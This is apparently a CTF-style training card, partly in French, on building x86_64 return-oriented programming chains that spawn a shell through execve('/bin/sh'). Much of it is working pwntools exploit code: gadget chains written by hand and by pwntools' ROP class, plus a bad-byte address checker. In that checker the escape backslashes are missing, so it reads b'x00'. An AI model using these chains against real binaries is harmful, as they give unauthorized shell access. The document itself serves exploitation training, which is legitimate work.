ROP Chain Construction: Gadget Chaining for execve Syscall with Stack Alignment and Bad-Byte Avoidance
Théorie
Why This Matters
Return-Oriented Programming (ROP) is the general technique for achieving arbitrary computation using only code sequences already present in the binary or its libraries, without injecting new code. On NX-enabled 64-bit binaries, ROP replaces shellcode injection entirely. The execve("/bin/sh", NULL, NULL) syscall chain is the canonical ROP payload: set RAX=59, RDI=ptr("/bin/sh"), RSI=0, RDX=0, execute syscall. NICE K0168, K0169, and S0131 require mastery of ROP chain construction including gadget selection, handling bad bytes in addresses, and using pwntools' ROP class for automation.
Core Concept
A ROP chain is a sequence of return addresses placed on the stack. Each address points to a gadget — a short code sequence ending in ret. When the overflowed function's ret executes, it jumps to gadget 1; gadget 1's ret jumps to gadget 2; and so on, consuming the stack as a program counter.
For execve("/bin/sh", NULL, NULL) via raw syscall on x86_64:
- RAX = 59 (SYS_execve)
- RDI = address of "/bin/sh" string
- RSI = 0 (argv = NULL)
- RDX = 0 (envp = NULL)
- Execute syscall
Required gadget types:
- pop rax; ret — set RAX
- pop rdi; ret — set RDI (first argument)
- pop rsi; ret — set RSI (second argument)
- pop rdx; ret — set RDX (third argument)
- syscall (or syscall; ret) — invoke the kernel
The string "/bin/sh" must exist somewhere in writable or readable memory. Options: find it in libc (next(libc.search(b"/bin/sh"))), or write it to BSS via a prior read syscall.
Bad bytes: some delivery mechanisms (e.g., gets, scanf, fgets) terminate input on null bytes, newlines, or spaces. Gadget addresses containing these bytes cannot be used. Solutions:
- Use alternative gadgets at different addresses that avoid bad bytes.
- Use a ret sled (repeated ret gadgets) to advance RSP past the bad bytes by filling those positions with the address of a bare ret gadget.
- XOR-encode the address and decode it with a gadget chain (rare in CTF but used in shellcode).
Technical Deep-Dive
Manual ROP chain construction:
from pwn import *
elf = ELF('./rop_challenge')
libc = ELF('./libc.so.6')
p = process('./rop_challenge')
# After leaking libc base (see ret2libc.v2 card):
libc.address = 0x7f1234560000 # example
# Find gadgets in libc (ROPgadget --binary ./libc.so.6 --rop)
pop_rax = libc.address + 0x36174 # pop rax; ret
pop_rdi = libc.address + 0x23b6a # pop rdi; ret
pop_rsi = libc.address + 0x2601f # pop rsi; ret
pop_rdx = libc.address + 0x142c92 # pop rdx; ret (or pop rdx; pop rbx; ret -- use carefully)
syscall = libc.address + 0x630d9 # syscall; ret
binsh = next(libc.search(b'/bin/sh')) # "/bin/sh" in libc data
offset = 72 # buffer-to-RIP offset
chain = b'A' * offset
chain += p64(pop_rax) + p64(59) # RAX = SYS_execve
chain += p64(pop_rdi) + p64(binsh) # RDI = "/bin/sh"
chain += p64(pop_rsi) + p64(0) # RSI = NULL
chain += p64(pop_rdx) + p64(0) # RDX = NULL
chain += p64(syscall) # syscall -> execve("/bin/sh", NULL, NULL)
p.sendlineafter(b'Input: ', chain)
p.interactive()
Using pwntools' ROP class for automated chain building:
from pwn import *
elf = ELF('./rop_challenge')
libc = ELF('./libc.so.6')
libc.address = 0x7f1234560000
rop = ROP(libc)
binsh = next(libc.search(b'/bin/sh'))
# pwntools ROP class finds gadgets automatically
rop.raw(rop.find_gadget(['pop rdi', 'ret']).address)
rop.raw(binsh)
rop.raw(rop.find_gadget(['pop rsi', 'ret']).address)
rop.raw(0)
rop.raw(rop.find_gadget(['pop rdx', 'ret']).address)
rop.raw(0)
rop.raw(rop.find_gadget(['pop rax', 'ret']).address)
rop.raw(59)
rop.raw(rop.find_gadget(['syscall']).address)
print(rop.dump()) # human-readable chain
payload = b'A' * 72 + bytes(rop)
Handling pop rdx; pop rbx; ret (common in binaries without a clean pop rdx; ret):
# If the only rdx gadget is "pop rdx; pop rbx; ret":
pop_rdx_rbx = libc.address + 0x10257d # pop rdx; pop rbx; ret
chain += p64(pop_rdx_rbx) + p64(0) + p64(0) # rdx=0, rbx=0 (rbx discarded)
Checking for bad bytes in gadget addresses:
bad_bytes = [b'x00', b'x0a', b'x0d', b' '] # null, newline, CR, space
def check_addr(addr):
encoded = p64(addr)
for b in bad_bytes:
if b in encoded:
return False, b
return True, None
for name, addr in [('pop_rax', pop_rax), ('pop_rdi', pop_rdi), ('syscall', syscall)]:
ok, bad = check_addr(addr)
if not ok:
print(f'BAD: {name} at {addr:#x} contains {bad.hex()}')
else:
print(f'OK: {name} at {addr:#x}')
Reverse Engineering Methodology
- Search for gadgets with
ROPgadget --binary ./libc.so.6 --rop | grep "pop rax"and similar. For rare gadgets (e.g.,pop rdx), try both the binary and libc — libc is far richer. - Verify each gadget address does not contain bad bytes for the input vector. If a gadget address has a bad byte, search for an alternative (same effect, different address) or re-order the chain.
- Write the string "/bin/sh" to BSS if not in libc: chain a
read(0, bss_addr, 8)syscall first (use pop gadgets to set up arguments), then send "/bin/shx00" interactively. This requiresSYS_read = 0in RAX andRDI = 0(stdin). - Test the chain in GDB with ASLR disabled before adding the ASLR bypass stage. Confirm each gadget executes in sequence by stepping with
siand verifying register changes.
Common Reversing Errors
- Forgetting 16-byte alignment before
syscall: unlikecall,syscalldoes not check alignment, soexecvetypically does not fail from misalignment — but subsequent function calls within libc (if the execve fails and falls through) will. For safety, keep the chain aligned. - Using
pop rdx; pop rbx; retwithout filling the extra pop: this gadget pops two values from the stack. Forgetting to include the second value (rbx) in the chain shifts every subsequent gadget address by 8 bytes, causing the chain to execute wrong gadgets. - Searching for "/bin/sh" in the wrong binary: the string "/bin/sh" is in libc's data segment, not in the challenge binary. Use
next(libc.search(b"/bin/sh"))with the correct libc loaded. Confirm withstrings libc.so.6 | grep "/bin/sh". ROPclass gadget search failing silently: if pwntools'ROP.find_gadget()returnsNone, the chain will crash. Always check the return value:gadget = rop.find_gadget(['pop rdi', 'ret']); assert gadget is not None.
Challenge Lab
Renforcez votre apprentissage avec un défi généré basé sur la compétence de cette carte.